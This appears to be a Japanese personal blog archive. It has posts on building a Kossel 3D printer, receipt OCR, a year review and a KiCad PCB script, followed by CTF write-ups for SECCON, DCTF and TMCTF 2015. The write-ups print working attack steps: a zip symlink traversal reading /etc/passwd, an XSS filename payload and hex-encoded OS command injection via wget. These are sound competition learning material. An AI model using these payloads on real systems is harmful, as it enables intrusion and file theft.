3Dプリンタを買って組み立てた(Kossel mini k800)
最近中国の通販サイトで、組み立てキットの3Dプリンターを買って遊んでいた。 3万円ぐらいで、この精度だったらありかなぁという感じ。
買った3Dプリンタ。aliexpressというalibabaが親会社の通販サイトで買った。 いわゆるデルタ型の3Dプリンタで、リニアガイドを使っているタイプ。 面白いことに、プラ部品のほとんど全てが3Dプリンタの造形物で出来ていた。 販売会社にチャットして、補修部品としてデータが欲しいといったところ、それらのモデルデータをゲット出来た。 www.aliexpress.com
組み立て完成
組み立てた、3Dプリンター、安定して動くようになった。
— たいしょー@3/12千葉 (@miettal) 2016年3月6日
kossel mini k800 pic.twitter.com/y8Xn8xikgx
こんな感じ(1)
— たいしょー@3/12千葉 (@miettal) 2016年3月12日
こんな感じ(2)
頑張れ pic.twitter.com/yhdRoTAIPV
— たいしょー@3/12千葉 (@miettal) 2016年2月11日
レシートの画像を矩形補正してOCRにかけてみた。
レシートの写真撮ったらツイッターに何買ったかパーンって勝手に投稿されるやつおもしろいかなーとか思って適当にやった。 もう飽きたので特に頑張る気は無い。
これ活用した→ python/OpenCVでレシートみたいな四角いものを見つけてトリミングする - BlankTar
↓グレースケール
↓二値化
↓輪郭検出
↓切り抜き
↓グレースケール
↓二値化
↓OCR
↓コード
2015年を振り返って
1月
単位が足りなくて卒業できず、退学が確定した。
2月
卒業できなかったので卒業式には出れなかったが、代わりに研究室の後輩が学位授与式をやってくれた。
3月
大学院の入学手続きをした。7年間仲良くした高専の同級生とさようならした。
4月
新しい学校に入院した。そして初めての一人暮らし。
5月
台湾に行き、いろいろした。
6月
特にこれといったことが無かったが、研究室の人と神保町食肉センターを開拓し、定期的に研究室の人と肉会が開かれるようになる。
7月
インターン2箇所に受かったので、7/20あたりから2ヶ月間インターンに行った。
8月
台湾の友達が来日したので一緒にブラブラ色々まわった。
9月
インターンが終わり、それなりにぼーっとして過ごす。
10月
学校が始まった。
11月
バイトを始めた。
12月
退学はしたはものの、定期的に高専に行き共同研究を続けている。
スイッチサイエンスPCBへの発注を手助けするpythonスクリプト(KiCad python scripting)を書いた話
KiCad Advent Calendar 2015 6日目の記事です。(遅れてしまいましたが) qiita.com
概要
この間、私がスイッチサイエンスPCBで基板を発注した際、ファイル名を所定書式に変更しzipに固める作業が必要で煩雑だったので、その作業をkicadのpython scripting機能で、一部自動化しました。
※無保証
※自身環境(Linux daily build)以外未検証
※詳細を書く気が起きたら書く。質問大歓迎。
スイッチサイエンスPCB
最近、スイッチサイエンスが始めたPCBサービスです。 5cm x 5cm以内2層基板が10枚約1500円で送料約1000円と合わせても1枚約250円程度と格安! 所定書式のファイル名でガーバー、ドリルデータを保存し、zipに固めて、それをWebページにて投稿し、発注する方式です。
https://www.switch-science.com/pcborder/www.switch-science.com
KiCad Python scripting
KiCadにはPython scriptingという、マクロ機能?を含んでいて、一部作業を自動化出来ます。 今回使った、保存機能以外にも配線、パッドを作ったり、配置したりすることも出来ます。
↓公式コード github.com
↓公式リファレンス
http://docs.kicad-pcb.org/doxygen-python/
↓今回参考にしたソースコード(APIが変更されており、そのままでは動かない)
https://lists.launchpad.net/kicad-developers/msg10233.htmllists.launchpad.net
使い方
- https://gist.github.com/miettal/f7a41c6e6834edfa9ceb からスクリプトをダウンロード
- pcbnewからMenu->Tools->Scripting Consoleをクリック
- Scripting Consoleで先ほどダウンロードしたスクリプトをimportし、convert()を実行
- プロジェクトのディレクトリにswitch science pcb用のzipファイルができる!!!
ソースコード
SECCON 2015 Online CTF writeup
yozakuraというチームで参加した。
6問解いた。
Fragment2
Decode me
fragment2.pcap
pcapを見てみると、TCPのパケットが1個。 srcportが80なのと、filterの条件がhttp2だったので、wiresharkのdecode as http2をするとhttp2のレスポンスデータが見れる。なにやらよくわからないバイナリのフィールドがあるので、適当にググッて見つけたhpack decoderにかけると、flagが出てくる。
Entry form
http://entryform.pwn.seccon.jp/register.cgi
( Do not use your real mail address.)
(登録情報に他人に知られたくないメールアドレスは使用しないでください)
メールアドレスとユーザー名を登録するフォームがある。 index pageにアクセスすると、register.cgi_bakというソースがあるのでそれを見る。 ソースにlogの中身がflagだと書かれている。 mail addressがshelexecにぶっこまれているので、ls(backdoor123.cgi)するとregister.cgi, register.cgi_bak, log, SECRETというファイル、ディレクトリがみれた。 cat log(backdoor123.cgi)するとパーミッションがない。 ls SECRETすると、backdoor123.cgiがあり、見るとcmdパラメータを渡して叩くとshellexecしてくれる(しかも権限もあるっぽい)。 cat log(backdoor123.cgi)するとflagが出てくる。
Exec dmesg
秘密のメッセージをLinuxのisoイメージの中から見つけてください。
image.zip
zipの中にtiny core linuxのisoイメージあり。 virtual box から起動してdmesgを打っても、applet not found。 x86 busybox binaryをwgetして(https://busybox.net/downloads/binaries/latest/)、./busybox dmesgしたらflagが出てくる。
Steganography 1
Find image files in the file
MrFusion.gpjb
Please input flag like this format-->SECCON{*** ** **** ****}
バイナリエディタで見てみると、画像ファイルがたくさん連結している。bzのビットマップ表示でファイルの境界を見つけて、magic numberとか見つけて切り出す。(bmp, jpeg, gifなど) すると、flagが出てくる。 (他の人のwriteup見たら、foremostコマンドが便利らしい)
Steganography 3
We can get desktop capture!
Read the secret message.
desktop_capture.png
デスクトップのキャプチャに成功した!
秘密のメッセージを読み取ってほしい
desktop_capture.png
バイナリエディタでelfバイナリが表示されているので、OCRに掛けてelfバイナリを作る。 実行すると、base64 textが出てくる。 base64 decodeすると、英語で塗りつぶせと出てくる。 画像のバイナリエディタの白いところを黒で塗りつぶすと、flagが出てくる。
面白い問題だった。 チームメンバ ponty と倒した。
4042
Unknown document is found in ancient ruins, in 2005.
Could you figure out what is written in the document?
no-network.txt
謎の文章が2005年に古代遺跡から発見された。
これは何を意味している?
no-network.txt
テキストは、0から7の数字が3093文字。 2005年→utf9。 0~7の数字→3bit binary。 3文字→9bit binary。 なのでutf9 textなんだとおもう。 rfcの通りにutf9からucs4へ変換させるとflag発見。
チームメンバtkkと倒した。
DCTF 2015 Writeup
yozakuraというチームで参加した。
web200
zipファイルをアップロードすると、展開して個々のファイルをダウンロードできるwebサービス
html内に思わせぶりなphpコメントが入っていた。 どうやらdctfユーザーのシェル名を取得してるっぽい。
<? $shell = shell_exec("getent passwd dctf | cut -d: -f7"); ?>
zipファイルにシンボリックリンクをアップロードするとサーバー上の任意のファイルをダウンロードできた(ディレクトリトラバーサル)。 試しにシェル名(/etc/passwd)をとってみると、Flag発見。
ln -s /etc/passwd passwd
zip -r showpasswd.zip passwd
wget http://example.com/?id=hoge&file=./passwd
cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:102:105::/home/syslog:/bin/false
ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
mysql:x:103:106:MySQL Server,,,:/nonexistent:/bin/false
dctf:x:65533:65533:DCTF,,,:/nonexistent:/DCTF{28fad39245bc57404263540e94f417d8}
cat passwd | grep dctf | cut -d: -f7
/DCTF{28fad39245bc57404263540e94f417d8}
また、ファイル名をjavascriptのプログラムにすることで、jsを実行できた(XSS)。 が、Flagとは関係なかった。
mkdir "<script>alert("XSS");<"
cd "<script>alert("XSS");<"
touch "script>"
cd ..
zip xss.zip "<script>alert("XSS");</script>"
web400
画像が4枚表示されているwebページ それぞれの画像は
http://example.com/image?id=1&usr=1
http://example.com/image?id=2&usr=2
http://example.com/image?id=3&usr=3
http://example.com/image?id=4&usr=4
というふうに、idとuserをgetで渡して取得している。
idやusrに数値以外を送ると怒られるが、1〜4以外の数値を送ると、file not found的なシェルで実行したようなテキストが出てきた。 また、12.34や0x41を送ると、12.34やA(0x41のASCII対応文字)が表示され、任意のシェルを実行できた(OSコマンドインジェクション)。 試しに、lsをしてみるとテキストファイルが現れ、catするとFlagがあった。
wget http://example.com/image?id=0x3b6c733b&usr=1 # <= python ";ls;".encode("hex")
6e8218531e0580b6754b3e3be5252873.txt
images
index.php
wget http://example.com/image?id=3b6361742036653832313835333165303538306236373534623365336265353235323837332e7478743b&usr=! # <= python ";cat 6e8218531e0580b6754b3e3be5252873.txt;".encode("hex")
DCTF{19b1f9f19688da85ec52a735c8da0dd3}
misc100
壊れたpng画像
チェックサムが壊れているっぽいが直しても、意味不明な画像。 ぱっとみ、横幅がずれてるっぽい。
PNG を自力で読んで表示しよう その1 http://hoshi-sano.hatenablog.com/entry/2013/08/18/112550
processingでpng画像をパースして表示するプログラムがあったので、 試しに、ヘッダの情報を無視して横幅とかを適当に変えてみたところFlagが現れた。
vi misc100.pde
imageInfo.imageWidth = 891;//追記
imageInfo.imageHeight = 550;//追記
int rowHead = (i * (imageInfo.imageWidth * 3));//変更
processingはアニメーション表示が可能なので、少しずつ横幅を変えて表示、 みたいなことができるので良かった。
misc350
チームのみんなと一緒に解いた。
- dnsのリクエストが来るので応答
メールが来るのでsmtpで応答
sudo nc -l 25 HELO ...
メールの添付ファイルにpcapがある
- pcapの中にsmbプロトコルの通信がある
- smpプロトコル通信の中にzipがある(wiresharkでエクスポート)
- zipの中に大量gifがある
それぞれのgifのexifのcamera model nameにbase64文字列の断片がある
Camera Model Name : gAAAAAAAAAEAD9QQAAAABzb2wvVVQFAAPdEA9WdXgLAAEE6AMAAAToAwAAUEsBAh4
gifを時間別にソートし、base64文字列を結合しデコードするとzipがある
ls -rt1 *gif | xargs exiftool | grep Ca | awk '{print $5;}' | base64 --decode > a.zip
zipの中にflagというテキストがある
cat flag
DCTF{e4045481e906132b24c173c5ee52cd1e}
misc200
解けず
gunzip misc200.part0.jpg.gz
file misc200.part0.jpg
misc200.part0.jpg: x86 boot sector, code offset 0x52, OEM-ID "NTFS ", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 120, dos < 4.0 BootSector (0x80)
ntfsundelete misc200.part0.jpg
65 FN.. 100% 2015-10-04 63872 part0.zip
ntfsundelete misc200.part0.jpg -u -m part0.zip
unzip part0.zip
Archive: part0.zip
inflating: 3pm.redrah-yrt
mv 3pm.redrah-yrt try-harded.mp3
exiftool try-harder.mp3
Comment (xxx) : aHR0cDovL2RjdGYuZGVmLmNhbXAvX19kbmxkX18yMDE1X18vcGFydDEuaHRtbA
exiftool try-harder.mp3 | grep Comment | grep xxx | awk '{ print $4; }' | base64 --decode
http://dctf.def.camp/__dnld__2015__/part1.html
wget http://dctf.def.camp/__dnld__2015__/part1.html
ここで、タブとスペースが入り混じった自然なhtmlテキストが得られ、 それを01に対応させることで文字列が出てくるのだが、自分のプログラムにミスがあって、 文字列にならなくて積んでた。
misc400
Captcha 1337問
失敗したらやり直し、リロードは可能 文字はアルファベット(大文字のみ)と数字
プログラムを作成。 opencvで簡単なテンプレートマッチングを行う。 リロードはできるので、もし文字を検出できなかったらリロードして再度テンプレートマッチングを行う。
グレースケール化
1文字ずつ用意したテンプレート画像とマッチング
1337/1337 in a row!
Good job, the flag is: DCTF{6b91e112ee0332616a5fe6cc321e48f1}
TMCTF 2015 Writeup
cho_ru_ruというチームで @cho_ru_ru @am_yum_ と参加した。
Analysis Others 100
cho_ru_ruがxref tableが壊れていると言っていたので、PDF Stream Dumperで見てみたところ、base64な画像っぽいデータを見つけ、復号化したらjpegファイルになった。
Crypto 500
ゴリ押しで適当にランダム文字列を回しまくって見つけた。
Programming 100
JSでChrome拡張として書いた。Canvasにコピーして画素値を読む感じ。
Programming 200
基本bcに丸投げ、ローマ数字とか英単語文字はネットで変換するスクリプト拾って、書き換え。
Analysis Defensive300
解けず。PoisinIvyの通信っぽかったので、Camellia(パスワードadmin)で復号化したところでストップ。